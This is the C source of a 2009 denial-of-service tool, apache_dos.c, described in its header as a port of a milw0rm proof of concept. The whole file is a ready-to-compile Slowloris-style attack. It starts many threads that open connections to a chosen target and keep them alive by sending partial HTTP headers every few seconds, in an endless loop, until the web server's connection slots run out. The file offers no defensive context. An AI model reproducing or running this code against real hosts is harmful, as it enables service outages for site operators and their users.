Language: C
/***
 * apache_dos.c - C1c4Tr1Z <c1c4tr1z@voodoo-labs.org>
 * C version of the D.O.S proof-of-concept by evilrabbi (http://www.milw0rm.com/exploits/8991)
 * voodoo-labs 2009 (http://voodoo-labs.org) & undersecurity (http://foro.undersecurity.net)
 * compile: gcc -o apache_dos apache_dos.c -lpthread
 ***/
#include <time.h>
#include <stdio.h>
#include <netdb.h>
#include <getopt.h>
#include <string.h>
#include <stdlib.h>
#include <pthread.h>
#include <netinet/in.h>
#include <sys/socket.h>
 
#define	PORT	80
#define PTHREADS 	30
#define UA		"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) "\
			"Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.11"
#define ERROR(x)	do{if(x!=NULL)printf("[-]%s\n",x);exit(-1);}while(0);
#define GET		"GET / HTTP/1.1\r\n"\
			"Host: %s\r\n"\
			"User-Agent: %s\r\n"\
    			"Content-Length: %d\r\n"\
			"X-a: %d\r\n"
#define X		"X-a: b\r\n"
 
static int port=PORT;
 
void *sendHeaders(const char *address){
	int sock;
	struct sockaddr_in sockaddr;
	struct hostent *host_s;
 
	if((host_s=gethostbyname(address))==NULL){
		perror("[-]gethostbyname()");
		pthread_exit(0);
	}
 
	srand(time(NULL));
 
	memset(&sockaddr, 0, sizeof(struct sockaddr));
	sockaddr.sin_port=htons(port);
	sockaddr.sin_family=AF_INET;
	memcpy(&sockaddr.sin_addr, host_s->h_addr, host_s->h_length);
 
	if((sock=socket(AF_INET, SOCK_STREAM, 0x06))!=-1){
		if((connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)))!=-1){
			dprintf(sock, GET, address, UA, rand()%10000, rand()%1000);
			while((send(sock, X, strlen(X), 0))!=-1){
				/**
				 * you can change the interval time
				 * between each request (def: 10s.)
				 **/
				 sleep(2);
			}
		}else{
			perror("[-]connect()");
			pthread_exit(0);
		}
	close(sock);
	}else{
		perror("[-]socket()");
		pthread_exit(0);
	}
 
	pthread_exit(0);
}
 
int main(int argc, char *argv[]){
	int opt, thread, thread_n=PTHREADS;
	char *server, *ptr;
 
	opterr=0;
	while((opt=getopt(argc, argv, "t:n:h"))!=-1){
		switch(opt){
			case('t'):
				server=(char*)malloc(strlen(optarg));
				memset(server, 0, sizeof(server));
				if((ptr=strchr(optarg, ':'))!=NULL){
					*ptr++='\0';
					port=atoi(ptr);
				}
				strncpy(server, optarg, strlen(optarg));
			break;
			case('n'):
				thread_n=atoi(optarg);
			break;
			case('?'):
				printf("[-]option requires an argument (-%c).\n",optopt);
			case('h'):
			default:
				printf(
					"[+]apache_dos.c - C1c4Tr1Z <c1c4tr1z@voodoo-labs.org>\n"
					"[+]usage: %s [-n threads] -t <target>[:port]\n",
				argv[0]);
				ERROR(NULL);
		}
	}
 
	printf("[+]target: %s (%d)\n", server, port);
	printf("[+]useragent: %s\n", UA);
 
	while(1){
		pthread_t pthreads[thread_n];
		printf("[+]number of threads: %d\n", thread_n);
		for(thread=0;thread<thread_n;thread++){
			if(pthread_create(&pthreads[thread], NULL, (void*)sendHeaders, (void*)server)!=0){
				ERROR("couldn't create a thread.");
			}
		}
		for(thread=0;thread<thread_n;thread++){
			pthread_join(pthreads[thread], NULL);
		}
	}
 
	return(0);
}

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